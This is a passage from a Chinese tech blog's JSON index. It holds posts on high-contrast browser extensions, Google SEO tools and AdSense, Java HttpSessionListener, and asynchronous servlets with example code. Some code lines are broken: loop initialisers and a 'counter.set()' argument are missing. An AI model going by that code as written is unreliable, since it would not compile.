","permalink":"https://blog.gtwang.org/funny/the-reality-of-developers-life/","summary":"\u003cp\u003e這裡搜集了一些很經典又很幽默的小動畫，反映了程式設計師的生活寫照，如果你也是程式設計師，你應該能體會。:)\u003c/p\u003e\n\u003cp\u003e以下每個圖都是一個動畫，如果你發現圖沒有在動，可以用滑鼠點下去看。\u003c/p\u003e","title":"程式設計師的生活寫照：經典電影片段"},{"content":"如果你是長時間使用電腦上網查資料的人，一堆網頁文件都是白底黑字，看久了容易造成眼睛疲勞，這裡介紹如何使用 Google Chrome 與 Firefox 瀏覽器的高反差功能（High Contrast），把一般的網頁變成黑底白字，讓越讀起來更舒服，眼睛也比較不會疲累。\nGoogle Chrome 如果是使用 Google Chrome 瀏覽器的話，可以使用 高對比擴充功能：\n安裝完成之後，在瀏覽網頁時瀏覽器就會將網頁的顏色進行轉換，以下是各種配色設定的效果。\nGrayscale： Increased Contrast：\nInverted Color：\nInverted Grayscale：\nYellow on Black：\n在使用上可以依照不同的網頁配色選擇最適當的顏色轉換，透過適當的轉換，可以減輕螢幕對眼睛的刺激。\n參考資料 lifehadker ","permalink":"https://blog.gtwang.org/useful-tools/google-chrome-firefox-high-contrast/","summary":"\u003cp\u003e如果你是長時間使用電腦上網查資料的人，一堆網頁文件都是白底黑字，看久了容易造成眼睛疲勞，這裡介紹如何使用 Google Chrome 與 Firefox 瀏覽器的高反差功能（High Contrast），把一般的網頁變成黑底白字，讓越讀起來更舒服，眼睛也比較不會疲累。\u003c/p\u003e","title":"Google Chrome 與 Firefox 瀏覽器的高反差功能：適合夜間閱讀網頁文字、保護眼睛、減少螢幕對眼睛的刺激"},{"content":"Google 官方提供了很多很好用的搜尋引擎優化 SEO（Search Engine Optimization）線上工具，包含：搜尋趨勢、關鍵字工具、廣告預覽與診斷、網站管理員、Analytics（分析），善用這些工具可以讓你更容易分析目前網站的狀態與網路趨勢。\n基本上 SEO 的目的就是要你的網站在各種搜尋引擎（如：Google 或 Yahoo 等）的搜尋排名提高，進而增加網站流量、讓自己的網站曝光率增加，最後達到廣告行銷或其他獲益的目的。\n然而以我個人的觀點而言，一個網站如果只是單純依照 SEO 的準則讓網站流量提升，卻沒有實質甚至優質的內容的話，其實是沒有意義的，這也是 Google 一直以來所秉持觀念，只要你的網站寫的夠好，真的讓很多人想看，那麼 Google 也會很樂意把你的網站放在比較前面的排名，這個原因很簡單，如果 Google 把一些使用 SEO 技巧但是沒有什麼內容的網站放在前頭，當一般人看到 Google 搜尋出來的網站是這麼差勁的，久而久之就不會再來用 Google 了，所以一般的搜尋引擎都會很努力的把網路上的優質網站找出來，放在搜尋結果的前頭（這也是 SEO 想要做的），這樣才會有更多人喜歡用這個搜尋引擎。\n簡而言之，請記住這個千古不變的 SEO 原則：用心維護你的網站！事實上這一條才是 SEO 的重點。如果你已經很用心寫網站或是部落格了，那麼這時候再來考慮用一些 SEO 手法，來讓搜尋引擎更容易找到你網站上的優質內容。\n以下是各種 Google 提供的 SEO 相關工具。在這裡我會以一般部落客的觀點來看這些 SEO 工具對於網站或部落格的幫助，更明確地說，就是如何善用這些 SEO 工具，幫助你的部落格有更多的讀者，甚至讓你的部落格上面的 Google AdSense 廣告收益提升。\nGoogle Trends（搜尋趨勢） Google Trends 是一個可以讓你查詢目前網路上的使用者使用 Google 網頁搜尋的趨勢，你可以看出現在網路上正在流行什麼的。\n因為這個工具所提供的資料是從 2004 年開始的，所以你甚至可以看到整個趨勢走向，它也有提供圖表崁入的功能，如果想要把及時的結果崁入自己的網頁中，就直接複製他的程式碼，再貼在自己的網頁上就可以了，結果就會像這樣：\n上面這個趨勢圖就是比較三個主流的作業系統，目前在 Google 上被搜尋的熱門程度，除了基本的趨勢走向圖之外，還有區域熱門度：\n以及相關字詞：\n另外也有一些搜尋選項可以調整，例如可以指定要看的類別等：\nGoogle Trends 這個工具可以讓你瞭解網路上大家正在搜尋什麼？大家有興趣的是什麼？更明確的說就是大家在找什麼？或是想看什麼？如果你是部落格或是網路專欄的文章撰寫者，想要吸引更多讀者，就可以參考這樣的趨勢，找出什麼樣的主題是大家感興趣的，文章的主題如果符合目前流行的趨勢，自然會有比較多的讀者。\nGoogle AdWords 關鍵字工具 Google AdWords 關鍵字工具是 Google 提供給廣告刊登者使用的分析工具，它這個工具主要是要給想要透過 Google 的廣告服務付費刊登廣告、宣傳自己的網站或商品的人使用的，你可以看到刊登哪些關鍵字廣告要付多少錢。\n如果你是網站或部落格的作者，靠著微薄的 Google AdSense 廣告收益過日子，那麼你就可以使用這個工具來分析到底該撰寫哪些主題的文章。\n根據 Google 官方的資料，如果 Google 從你放置的 AdSense 內容廣告（AdSense for Content）中賺到錢，它會分給你 68%，而如果是從搜尋廣告（AdSense for search）中賺到的錢，它會分給你 51%，這個比例是固定的，不會因為廣告版面的大小而不同，你可以從你的 Google AdSense「帳戶設定」中的「帳戶資訊」裡看到這個收益分配比例：\n當然 Google 要賺到廣告費就是要有人使用 Google AdWords 刊登廣告然後付錢給 Google，如果有廣告刊登者（advertiser）透過 Google AdWrods 宣傳他的廣告，而他的內容廣告剛好在你的部落格刊登，等到有人點擊廣告之後 Google 就會向廣告刊登者收取廣告費用，假設廣告刊登者付了 100 元給 Google，那麼這時候 Google 就會分給你 68 元。\n當你瞭解 Google 拆帳的比例與原則之後，就會發現只要廣告刊登者付越多錢，Google 就賺的越多，當然連帶著你的廣告收益也會增加。\n那這裡的重點就是：在什麼情況下廣告刊登者要複比較多的錢呢？答案就在這個 Google AdWords 關鍵字分析工具裡，這個工具可以讓你查詢刊登各種關鍵字廣告要付多少錢。\n這個工具使用方式也很簡單，在上方的「字詞或詞組」的欄位輸入你要查詢的關鍵字，通常以網站作者或是部落格文章的撰寫者而言，你可以查一查平常所撰寫的相關主題，看看哪些主題是比較熱門的，甚至廣告點擊出價比較高的。\n輸入完關鍵字之後，預設的版面資訊很少，請選擇右邊的欄位選項，把其他的欄位都顯示出來，這樣會有更多的資訊可以分析。\n大家應該有看到，除了搜尋量之外，還有預估單次點擊出價，這個就是一個很值得參考的數值，他是估計這個關鍵字廣告在有人點擊時，廣告刊登者要付多少錢給 Google，理論上如果這個關鍵字廣告刊登在你的部落格或網站而且有人點擊，那麼這個數值的 68% 就是會分給廣告發佈者（publisher，也就是我們這些部落客）的錢。\n最後還有ㄧ個重點，如何讓這些出價較高的廣告刊登在自己的網站或是部落格呢？答案是：這是由 Google 所控制的，原則上只要你的網站上有這些關鍵字相關的內容，Google 自然會把相關的廣告放進你的部落格或網站，所以最簡單的方式就是多寫一些出價比較高的主題文章或是相關內容，來吸引這些出價較高的廣告刊登在自己的部落格，這樣收益就會跟著增加。\nGoogle Webmaster（網站管理員） Google 網站管理員是一個專門提供給一般網站或部落格管理員的檢測工具，使用這個工具可以查詢自己的網站或部落格在 Google 搜尋引擎中的狀況，例如網站曝光次數、點擊次數、點閱率與網站在搜尋結果中的平均排名等。\n這些搜尋相關資訊也可以依照類型來分類，例如你可以查詢透過 Google 圖片搜尋而進入自己網站的流量趨勢。\n通常在網站上放置一些高品質的圖片也會吸引一些流量，透過這個工具可以看出網站中哪些圖片是大家感興趣的，並且也可以分析在圖片這一部分有沒有做好適當的 SEO，通常圖片的 SEO 就是要設定 image 的 alt 屬性，因為搜尋引擎本身並沒有辦法得知圖檔的內容，還是要透過文字的資訊才行，理論上經過設定適當的 alt 屬性之後的圖片，會有較高的機會從搜尋引擎中曝光。\n除了觀察基本的流量之外，網站管理工具也可以查詢連結次數最多的來源、最多人連結的網頁以及資料連結方式，透過這些統計資料，可以大致上了解網路上有哪些網站對自己網站或部落格感興趣，而自己網站中被人連結最多的是哪些。\n網站管理工具也會提供 Google 在檢索網站時所發現的錯誤、檢索統計資料與索引狀態等，如果 Google 發現你的網站有問題或是錯誤，就會在這邊顯示，如果你發現這裡顯示自己的網站有問題，請依照它的建議進行修正，這樣可以讓自己的網站品質提升。\n如果你是部落格作者，定期會撰寫新文章，那麼在索引狀態中應該也會看到索引的網頁數隨時間增加的趨勢，就像這樣：\n如果你很努力的寫文章，而在 Google 索引的狀態中沒有一個增加的趨勢的話，就表示 Google 沒辦法發現你的新文章，也就是說別人就無法透過 Google 搜尋到你的新文章，這樣對於網站的曝光率而言是很不利的，請透過網站管理工具檢查你的網站是否有問題，或是需要提供網站 Sitemap 給 Google。\n基本上 Google 的網站管理工具的主要功能是提供你分析自己的網站或部落格是否有正常被 Google 搜尋引擎搜尋到，因為目前 Google 是搜尋引擎的龍頭，全世界的網站有超過三分之二的流量都是透過 Google 來的，所以一個網站或部落格如果沒有將完整的內容正確的提供給 Google 建立索引，會失去非常多的曝光機會與流量。\nGoogle Analytics（分析） Google Analytics（分析）是 Google 所提供的網站或部落格分析工具，概念就像傳統的網站計數器，把一段 JavaScript 程式碼貼在網站中之後，就可以開始分析訪客的一些統計資料，從最基本的造訪次數、瀏覽量、平均停留時間與新造訪率等基本資訊，到訪客的地理資訊、語言、作業系統、瀏覽器、螢幕解析度、網路等進階統計資訊，甚至是 Flash 與 Java 的版本都有。\n這些詳細的統計資料可以讓你知道訪客的狀況，如果要提升網站的使用者經驗（User experience），就可以從這裡下手，例如網頁版面要設計多寬，就要參考大部分的訪客的螢幕解析度，針對目前主要的訪客螢幕解析度來設計版面基本上可以滿足較多的訪客，訪客在使用上有較高的滿意度，自然回訪率會增加，也會帶來額外的流量。\n在流量來源的部分，Google Analytics 可以讓你分析網站中的流量是從哪裡來的，一般網站的流量可分為三類：搜尋流量、推薦連結流量與直接流量，搜尋流量就是透過網路上各種搜尋引擎而來的（例如 Google 與 Yahoo 等），推薦連結流量就是透過一般網站的超連結連進來的，而直接流量就是使用者開啓瀏覽器就直接進入你的網站的流量，不同的網站這三類流量的比例也會不同。\n因為現在類似 Facebook 這類的網站流量越來越高，在社交的部分，Analytics 特別為了這份部獨立出來，提供一個社交網站流量分析工具，透過這個工具你可以看出自己的網站在社交網站中的狀況。\n如果你有放置 Google AdSense 廣告在自己的部落格中賺取收益的話，在 Analytics 中也可以分析每張網頁的廣告效益，例如哪一篇部落格文章中的廣告是最多人點擊的？或是這個月在自己部落格中最賺錢的是哪一篇文章？如果想要提高網站收益，可以找出投資報酬率高的文章類型，集中火力撰寫，就有可能間接提升收益。\n有時候部落格或網站會盡量寫一些相關的文章，讓文章之間互相聯結，一方面讓訪客可以很方便找到相關性的資料，也可以直接提升網站流量，但是到底成效如何，我們就要使用訪客流程這個工具來分析。\n訪客流程是分析訪客在網站中的瀏覽路徑，也就是當訪客看完一張網頁（或部落格中的一篇文章）之後，接著會連到哪一張網頁（或文章），或是離開，透過這個工具，我們就可以看出到底有多少訪客因為文章的互相連結而讓他們瀏覽了其他的網頁。\nGoogle Analytics 後來又推出了一項很有趣的功能，就是及時報表，它可以讓你看出你的網站上目前有幾個人在瀏覽，這個部分看起來很炫，所以順便提一下，但是因為他只是顯示最近三十分鐘的即時資料，除非你的網站流量大到一定程度，不然這樣的資料很難做一些統計或推論。\nGoogle Analytics 是一個很強大的網站分析工具，這裡只是簡介一些基本的功能，除了這邊介紹的部分之外，Analytics 還有許多不錯的工具，像是網頁活動分析就是一個可以讓你看出網頁中哪些部分是點閱率最高的內容，在放置廣告時就可以選擇這些地方，增加使用者注意到廣告的機率。\n不過我自己的部落格在使用網頁活動分析時一直出不來，我還找不出原因，這裡就沒有放圖了，不過我用在一般的網站是正常的，而且很實用，如果你有興趣可以自己試試看。\nSEO 鐵則 以上是 Google 的一些 SEO 工具介紹，「工欲善其事，必先利其器」，但這些僅僅只是「工具」而已，只有好的工具卻沒有好的工匠的話也是沒有用的，那怎算是好的工匠呢？下面這段 Google AdSense 影片可以告訴你：\n這是 Google AdSense 的官方宣導影片，影片的內容要闡述的概念是一個三贏的合作關係，也就是廣告客戶（advertisers）、發布商（publish）與使用者（users）所組成的生態系統（ecosystem）。\n一個生態系統中的生物要正常生存的話，必須仰賴整個系統的正常運作，每個個體之間是互相依賴的關係，如果有個體蓄意破壞整個系統的平衡，會使得整個系統崩解，造成系統中所有的個體都會遭殃。\nGoogle AdSense 所建立的廣告系統就是這樣的生態系統，而最常發生破壞生態平衡的問題就是發布商蓄意點擊自己的廣告，意圖獲取不正當的收益，但是這樣會造成廣告客戶收到無效的流量，進而造成廣告客戶的損失（因為他付錢買到的流量是無效的），如果這樣的狀況發生太頻繁，就會造成廣告客戶不願意掏錢出來買廣告，也就是不找 Google 登廣告了，這樣也就造成發布商沒有廣告可以刊登，當然也就沒錢賺，最後誰也沒有獲益，這就是生態系統崩解的意思。\n所以事實上，我們如果想要獲益，其實最好的方式就是遵守 Google 所提供的法則，盡量避免無效的點擊，有些網站把廣告弄得亂七八糟，讓人很容易誤點，這樣是不好的，只有讓訪客清楚知道這是一個什麼樣的廣告，他如果看的喜歡或是有興趣才點，這樣廣告客戶就會收到真正有效的流量，而這個系統才會正常運作，最終大家才會獲益。\n","permalink":"https://blog.gtwang.org/useful-tools/google-seosearch-engine-optimization-tools/","summary":"\u003cp\u003eGoogle 官方提供了很多很好用的搜尋引擎優化 SEO（Search Engine Optimization）線上工具，包含：搜尋趨勢、關鍵字工具、廣告預覽與診斷、網站管理員、Analytics（分析），善用這些工具可以讓你更容易分析目前網站的狀態與網路趨勢。\u003c/p\u003e","title":"Google SEO 線上工具：搜尋趨勢、關鍵字工具、網站管理員、Analytics"},{"content":"網頁的 session 概念是現在網路應用程式都會使用的技術，而在 Java Servlet 中如果想要監控伺服器所有產生的 session，並做一些統計分析或記錄，可以透過實作 HttpSessionListener 這個介面（interface）的方式來達到。\nHttpSessionListener 這個界面中定義了以下兩個函數：\nsessionCreated(HttpSessionEvent se)：用來處理每個 session 產生後，所要執行的動作。 sessionDestroyed(HttpSessionEvent se)：用來處理每個 invalidated 或 expired 之後的 session 所要執行的動作。 以下是實際的範例程式：\npackage com.sealmemory; import javax.servlet.http.HttpSessionEvent; import javax.servlet.http.HttpSessionListener; public class SessionCounterListener implements HttpSessionListener { private static int totalActiveSessions; public static int getTotalActiveSession(){ return totalActiveSessions; } @Override public void sessionCreated(HttpSessionEvent arg0) { totalActiveSessions++; System.out.println(\u0026#34;sessionCreated - add one session into counter\u0026#34;); } @Override public void sessionDestroyed(HttpSessionEvent arg0) { totalActiveSessions--; System.out.println(\u0026#34;sessionDestroyed - deduct one session from counter\u0026#34;); } } 這裡我們除了實作 sessionCreated(HttpSessionEvent se) 與 sessionDestroyed(HttpSessionEvent se) 之外，也令另外建立一個 totalActiveSessions 變數，記錄目前的 session 個數，在 session 時就加一，刪除時就減一。\n寫好了 listener 的程式之後，接下來要把它放進伺服器中執行，傳統的方式是寫在 web application 的 deployment descriptor（web.xml）中，語法如下：\n\u0026lt;web-app ...\u0026gt; \u0026lt;listener\u0026gt; \u0026lt;listener-class\u0026gt;com.mkyong.SessionCounterListener\u0026lt;/listener-class\u0026gt; \u0026lt;/listener\u0026gt; \u0026lt;/web-app\u0026gt; 其實就是把我們實作的類別寫上去而已，這樣就完成了，至於產生物件的動作伺服器會自己處理。\n如果你只有實作 HttpSessionListener 但卻沒有將類別的完整路徑寫入 web.xml 中的話，是不會有任何效果的，所以請記得要加入上面那幾行設定。\n如果是在 Java Servlet 3.0 之後的版本，也可以透過 ServletContext.addListener() 的方式把剛剛我們實作的 listener 類別加入伺服器中，或是使用 @WebListener 這個 annotation，這樣就可以不用去更動到 web.xml 設定檔，就像這樣：\n@WebListener public class SessionCounterListener implements HttpSessionListener { // ... } 另外如果是 Java Servlet 3.0 以後的版本（Tomcat 7 或 GlassFish 3.x 等伺服器），HttpSessionListener.sessionDestroyed() 在 application 或是伺服器關閉時也會被呼叫，但如果是舊版的標準在這種情況似乎不會呼叫這個函數（請參考 stackoverflow）。\n這裡要注意一點，因為這個 listener 是給伺服器呼叫的，它會影響到整個 web application，也就是說整個 web application 中的所有 sessions 在產生或刪除時，伺服器都會呼叫這兩個函數來處理。\n另外，在這裡我們所實作的方式是無法分辨 session 是被 invalidate 還是因為 timeout 而被刪除的，如果想分辨這兩種方式就要使用其他的方法。\n參考資料 Mkyong.com HttpSessionListener ","permalink":"https://blog.gtwang.org/web-development/java-servlet-httpsessionlistener-usage/","summary":"\u003cp\u003e網頁的 session 概念是現在網路應用程式都會使用的技術，而在 Java Servlet 中如果想要監控伺服器所有產生的 session，並做一些統計分析或記錄，可以透過實作 \u003ccode\u003eHttpSessionListener\u003c/code\u003e 這個介面（interface）的方式來達到。\u003c/p\u003e","title":"Java Servlet 的 HttpSessionListener 的使用方式：監控與統計伺服器的所有 session 狀態"},{"content":"在 Java Servlet 3.0 標準推出之前，如果想要實作 asynchronous 的 servlet 必須使用像 Comet 這樣的架構，而現在 Servlet 3.0 API 直接支援 asynchronous 與 synchronous 兩種模式，而因為這是公開的標準，所以寫好的 Servlet 可以很方便的移植到各種符合 Servlet 3.0 的 app server 中（例如 Tomcat 7 或是 GlassFish 3.x）。\n在使用 synchronous servlets 時，處理 client HTTP request 的執行序（thread）會跟處理 request 的過程綁在一起，而在處理工作量比較大、等待時間比較久的 request 時（通常在等待外部的 IO 或是其他耗時的動作），該執行序就只能等待工作完成，才能執行下一步，這樣的狀況如果在 request 數量很多的時候，就有可能會造成伺服器的執行序不足的問題，進而影響伺服器整體的效能。\n這種情況主要是由於伺服器上的執行序都在等待外部的工作完成（其實這時候它們都在休息），但是從 client 來的 request 數量又太多時，就會很容易把有限的執行序都佔滿，造成伺服器滿載的狀況，但是其實伺服器的執行序都在休息！\nAsynchronous servlets 基本上就是為了處理這樣的狀況而設計的，它讓處理 request 的執行序要等待外部工作的時候，可以去處理其他的 request，等到外部工作完成之後，伺服器會找另外一個執行序來把處理完成的外部工作結果送回 client，在這種架構下，client 不會感覺有任何不同，因為這些執行序與工作的分配都是在伺服器上面發生的，也只跟伺服器本身有關，所有的 request 資料還是跟以前一樣。\n要達到這樣的工作處理流程，最關鍵的部分就是在外部工作完成時，要如何通知伺服器來領回處理完成的結果，這裡是它所使用的方式是透過 callback 函數的方式（這個 callback 函數是由伺服器本身提供）。\nPseudo Code 以下是伺服器處理 request 的 pseudo code：\nclient 的 request 透過 HTTP 協定送到伺服器上，然後 request 被伺服器配送（dispatch）給某一個 servlet 處理。 伺服器上的某個執行序會執行 servlet 的 service() 函數來處理 request。 service() 函數必須建立一個 AsyncContext 物件（使用 startAsync() 函數）。 service() 函數必須建立一個 Runnable 物件，並傳遞給另一個執行序的 Executor 以執行真正要做的工作。Runnable 物件中會包含一個 AsyncContext 的 reference（因為在工作執行完成時，要通知伺服器領回）。 service() 函數執行結束。（這看起來不太直覺，但是在 asynchronous 的架構就是這樣） 在這個時候 service() 函數雖然執行結束了，但是因為真正的工作還在另外一個執行序中（Executor 物件）處理，所以 client 事實上還在等待，等到真正的工作完成時，伺服器就會接著下面的動作：\n當 Executor 的工作完成時，會通知 AsyncContext：它會將結果寫進 HttpResponse 中，然後呼叫 AsyncContext 的 complete() 函數，這樣就會促使伺服器把處理完成的結果送回 client。 出問題時怎麼辦？ 如果在 Runnable 中所執行的工作出錯時，這時候 Runnable 還沒把結果傳回給 Executor，client 在這種情況下只會收到某種一般的網路錯誤訊息，如果想要自己處理可能發生的錯誤，提供詳細的錯誤訊息，可以用下面的方式：\n設置好 timeout 的時間上限，如果 Runnable 在設定的 timeout 時間內沒有正常完成工作的話，就會發出 timeout 的錯誤。 自己加入專門處理 timeout 錯誤的 listener 來處理這樣的錯誤。 這樣的話，如果 Runnable 在處理工作時出現錯誤，超過我們指定的 timeout 時間沒有完成時，則我們自己撰寫的 listener 就會被呼叫，通知你發生 timeout 錯誤了，這時候你就可以在 listener 中產生要給使用者看的錯誤訊息。如果這時候 Runnable 還繼續嘗試寫入 HttpResponse 物件時或是呼叫 AsyncContext.complete() 函數，都會產生例外（exception），基本上在這裡應該要把之前所產生的輸出全部丟棄，只輸出錯誤訊息。\nAsynchronous Servlet 範例程式 以下是兩個 asynchronous servlets 範例程式，一個是比較簡單的範例，示範最基本的 asynchronous servlet 的撰寫方式。而另一個則是比較複雜的範例，發生 timeout 錯誤時，該怎麼處理。\n基本上只要符合 Java Servlet 3.0 規格的伺服器都應該可以執行這裡的範例程式，而這裡的伺服器環境是使用 Tomcat 7。\nExample 1 這個範例是示範基本的 asynchronous servlets 與 web.xml 內容（這也是　Servlet 3.0 的內容之一）。以下是伺服器端的 servlet 程式碼：\n@javax.servlet.annotation.WebServlet( // servlet name name = \u0026#34;simple\u0026#34;, // servlet url pattern value = {\u0026#34;/simple\u0026#34;}, // async support needed asyncSupported = true ) public class SimpleAsyncServlet extends HttpServlet { /** * Simply spawn a new thread (from the app server\u0026#39;s pool) for every new async request. * Will consume a lot more threads for many concurrent requests. */ public void service(ServletRequest req, final ServletResponse res) throws ServletException, IOException { // create the async context, otherwise getAsyncContext() will be null final AsyncContext ctx = req.startAsync(); // set the timeout ctx.setTimeout(30000); // attach listener to respond to lifecycle events of this AsyncContext ctx.addListener(new AsyncListener() { public void onComplete(AsyncEvent event) throws IOException { log(\u0026#34;onComplete called\u0026#34;); } public void onTimeout(AsyncEvent event) throws IOException { log(\u0026#34;onTimeout called\u0026#34;); } public void onError(AsyncEvent event) throws IOException { log(\u0026#34;onError called\u0026#34;); } public void onStartAsync(AsyncEvent event) throws IOException { log(\u0026#34;onStartAsync called\u0026#34;); } }); // spawn some task in a background thread ctx.start(new Runnable() { public void run() { try { ctx.getResponse().getWriter().write( MessageFormat.format(\u0026#34;\u0026amp;lt;h1\u0026amp;gt;Processing task in bgt_id:[{0}]\u0026amp;lt;/h1\u0026amp;gt;\u0026#34;, Thread.currentThread().getId())); } catch (IOException e) { log(\u0026#34;Problem processing task\u0026#34;, e); } ctx.complete(); } }); } } 這段程式碼有一些需要注意的地方：\n你可以使用 annotation 指定 servlet 名稱與其 URL 位址，而不用額外撰寫 web.xml 的內容。 這裡必須在 annotation 中加入 asyncSupported=true 告訴伺服器這個 servlet 需要 asynchronous 模式。 在 service() 函數中，timeout 的時間設定為 30 秒，所以如果 Runnable 在 30 秒之內做完所有的工作並且呼叫 complete()，就不會有 timeout 錯誤產生。 Runnable 物件將真正要做的主要工作（也是最耗時的部分）包裝起來，交給另外一個執行序執行。 在這理 Runnable 所負責的工作是取得目前執行序的 ID，然後交給伺服器傳回到 client 端。 這裡的 AsyncContext listener 並沒有做什麼事情，只是單純將訊息寫入伺服器的記錄中而已。 以下是 client 端的 Java 測試程式碼：\npublic class LoadTester { public static final AtomicInteger counter = new AtomicInteger(); public static final int maxThreadCount = 100; public static void main(String[] args) throws InterruptedException { new LoadTester(); } public LoadTester() throws InterruptedException { // call simple servlet ExecutorService exec1 = Executors.newCachedThreadPool(); for (int i = ; i \u0026amp;lt; maxThreadCount; i++) { exec1.submit(new UrlReaderTask(\u0026#34;https://localhost:8080/test/simple\u0026#34;)); } exec1.shutdown(); Thread.currentThread().sleep(5000); System.out.println(\u0026#34;....NEXT....\u0026#34;); // call complex servlet counter.set(); ExecutorService exec2 = Executors.newCachedThreadPool(); for (int i = ; i \u0026amp;lt; maxThreadCount; i++) { exec2.submit(new UrlReaderTask(\u0026#34;https://localhost:8080/test/complex\u0026#34;)); } exec2.awaitTermination(1, TimeUnit.DAYS); } public class UrlReaderTask implements Runnable { private String endpoint; public UrlReaderTask(String s) { endpoint = s; } public void run() { try { actuallyrun(); } catch (Exception e) { System.err.println(e.toString()); } } public void actuallyrun() throws Exception { int count = counter.addAndGet(1); BufferedReader in = new BufferedReader( new InputStreamReader(new URL(endpoint).openStream())); String inputLine; while ((inputLine = in.readLine()) != null) { System.out.println(MessageFormat.format(\u0026#34;thread[{0}] : {1} : {2}\u0026#34;, count, inputLine, endpoint)); } in.close(); } } } //end class ComplexLoadTester 這個簡單的 Java 程式會產生 100 個執行序，同時建立 HTTP 的連線連到我們寫的 asynchronous servlets，然後輸出從伺服器上取得的執行序 ID 資訊。\n在這個範例中，我們取得的執行序 ID 會比較雜亂，因為這些執行序是來自於 Tomcat 7 伺服器的 thread pool。\nExample 2 這個比較複雜的範例是將上面的範例再做一些改變：\n這個範例中，servlet 使用 fixed thread pool 管理自己的 thread pool，而 thread pool 的大小在這裡是使用 annotation 透過 servlet 的 init parameter 將預設值設定為 3。 在前 4 個 requests 中會模擬出錯的狀況，在 service() 中產生例外（exception）。 在模擬耗時的工作部分，我們使用 sleep() 函數讓程式休息 0 到 5 秒（隨機產生），而 AsyncContext 的 timeout 的時間上限則設為 60 秒，所以大約最後的 20 筆 requests 會出現 timeout 的錯誤，因為我們總共只有 3 個執行序可以同時處理 100 筆 requests，排在後面的 requests 就會來不及在 60 秒之內處理完。 如果在 timeout 錯誤發生時，AsyncContext 的 listener 必須要自己呼叫 AsyncContext.complete() 函數。 一旦 timeout 錯誤發生，伺服器就會將 AsyncContext 中的 HttpRequest 與 HttpResponse 物件設為 invalid，透過這樣的方式通知正在執行的工作說 AsyncContext 已經是 invalid 的狀態了，這也是為什麼在 Runnable 中執行完成後，在寫入 response 之前，要先檢查它是不是 null，這個動作請記得一定要做，因為在 timeout 錯誤發生時，Runnable 這邊正在執行的工作可能無法得知 timeout 的錯誤，只能靠檢查 request 與 response 是否為 null 的方式來判斷，如果檢查出來是 null，則所有正在執行的工作都可以終止了，因為這個時候 AsyncContext 的 listener 或伺服器已經將 timeout 的錯誤訊息傳給 client 端了，縱使你把所有的工作算完也沒有用了。 以下是這個範例的程式碼：\n@javax.servlet.annotation.WebServlet( // servlet name name = \u0026#34;complex\u0026#34;, // servlet url pattern value = {\u0026#34;/complex\u0026#34;}, // async support needed asyncSupported = true, // servlet init params initParams = { @WebInitParam(name = \u0026#34;threadpoolsize\u0026#34;, value = \u0026#34;3\u0026#34;) } ) public class ComplexAsyncServlet extends HttpServlet { public static final AtomicInteger counter = new AtomicInteger(); public static final int CALLBACK_TIMEOUT = 60000; public static final int MAX_SIMULATED_TASK_LENGTH_MS = 5000; /** executor svc */ private ExecutorService exec; /** create the executor */ public void init() throws ServletException { int size = Integer.parseInt( getInitParameter(\u0026#34;threadpoolsize\u0026#34;)); exec = Executors.newFixedThreadPool(size); } /** destroy the executor */ public void destroy() { exec.shutdown(); } /** * Spawn the task on the provided {@link #exec} object. * This limits the max number of threads in the * pool that can be spawned and puts a ceiling on * the max number of threads that can be used to * the init param \u0026#34;threadpoolsize\u0026#34;. */ public void service(final ServletRequest req, final ServletResponse res) throws ServletException, IOException { // create the async context, otherwise getAsyncContext() will be null final AsyncContext ctx = req.startAsync(); // set the timeout ctx.setTimeout(CALLBACK_TIMEOUT); // attach listener to respond to lifecycle events of this AsyncContext ctx.addListener(new AsyncListener() { /** complete() has already been called on the async context, nothing to do */ public void onComplete(AsyncEvent event) throws IOException { } /** timeout has occured in async task... handle it */ public void onTimeout(AsyncEvent event) throws IOException { log(\u0026#34;onTimeout called\u0026#34;); log(event.toString()); ctx.getResponse().getWriter().write(\u0026#34;TIMEOUT\u0026#34;); ctx.complete(); } /** THIS NEVER GETS CALLED - error has occured in async task... handle it */ public void onError(AsyncEvent event) throws IOException { log(\u0026#34;onError called\u0026#34;); log(event.toString()); ctx.getResponse().getWriter().write(\u0026#34;ERROR\u0026#34;); ctx.complete(); } /** async context has started, nothing to do */ public void onStartAsync(AsyncEvent event) throws IOException { } }); // simulate error - this does not cause onError - causes network error on client side if (counter.addAndGet(1) \u0026amp;lt; 5) { throw new IndexOutOfBoundsException(\u0026#34;Simulated error\u0026#34;); } else { // spawn some task to be run in executor enqueLongRunningTask(ctx); } } /** * if something goes wrong in the task, it simply causes timeout condition * that causes the async context listener to be invoked (after the fact) * \u0026amp;lt;p/\u0026amp;gt; * if the {@link AsyncContext#getResponse()} is null, that means this * context has already timedout (and context listener has been invoked). */ private void enqueLongRunningTask(final AsyncContext ctx) { exec.execute(new Runnable() { public void run() { try { // simulate random delay int delay = new Random().nextInt(MAX_SIMULATED_TASK_LENGTH_MS); Thread.currentThread().sleep(delay); // response is null if the context has already timedout // (at this point the app server has called the listener already) ServletResponse response = ctx.getResponse(); if (response != null) { response.getWriter().write( MessageFormat.format( \u0026#34;\u0026amp;lt;h1\u0026amp;gt;Processing task in bgt_id:[{0}], delay:{1}\u0026amp;lt;/h1\u0026amp;gt;\u0026#34;, Thread.currentThread().getId(), delay) ); ctx.complete(); } else { throw new IllegalStateException( \u0026#34;Response object from context is null!\u0026#34;); } } catch (Exception e) { log(\u0026#34;Problem processing task\u0026#34;, e); e.printStackTrace(); } } }); } } 這個範例的 client 程式是與上一個範例共用的，也就是說我們是使用一個 client 程式同時測試兩個不同的 servlets。\n當你使用 client 程式同時產生 100 筆 requests 來測試這個比較複雜的範例的時候，有幾個地方是需要注意的：\n這個較複雜的範例最多只會同時使用 3 條執行序來處理 100 筆 requests。 在這個比較複雜的 servlet 中每一筆 request 最多會花費五秒鐘來處理，大約有 20% 的 requests 會發生 timeout 錯誤（因為 timeout 時間上限設為 60 秒，所有的 requests 都是一起進入伺服器中的，然後排在伺服器中的 queue 中等待處理）。 縱使 100 筆 requests 可以一起進入伺服器，但是在同一個時間只有 3 個執行序在處理工作。 在 timeout 錯誤發生之後，即使 AsyncContext 的 listener 已經呼叫 complete() 並將錯誤訊息送給 client 了，但是 Runnable 還是會繼續執行它的工作，直到最後產生錯誤之後將結果丟棄，這個情況是程式設計者在撰寫 asynchronous servlet 時需要謹記在心的，如果 timeout 錯誤發生後，還讓這樣的工作在背後跑，是會浪費 CPU 與記憶體的資源的（在 Java 中的執行序並沒有優先權的設定，所有的執行序都會一起執行），所以最好在撰寫這樣的程式時，要在執行工作時，順便檢查一下是否有 timeout 的情況，以避免這樣的狀況發生。 當伺服處理器前四筆 requests 時，會產生我們設定好的錯誤例外，這時候在 client 端也會產生對應的網路例外。 到底要不要使用 Asynchronous 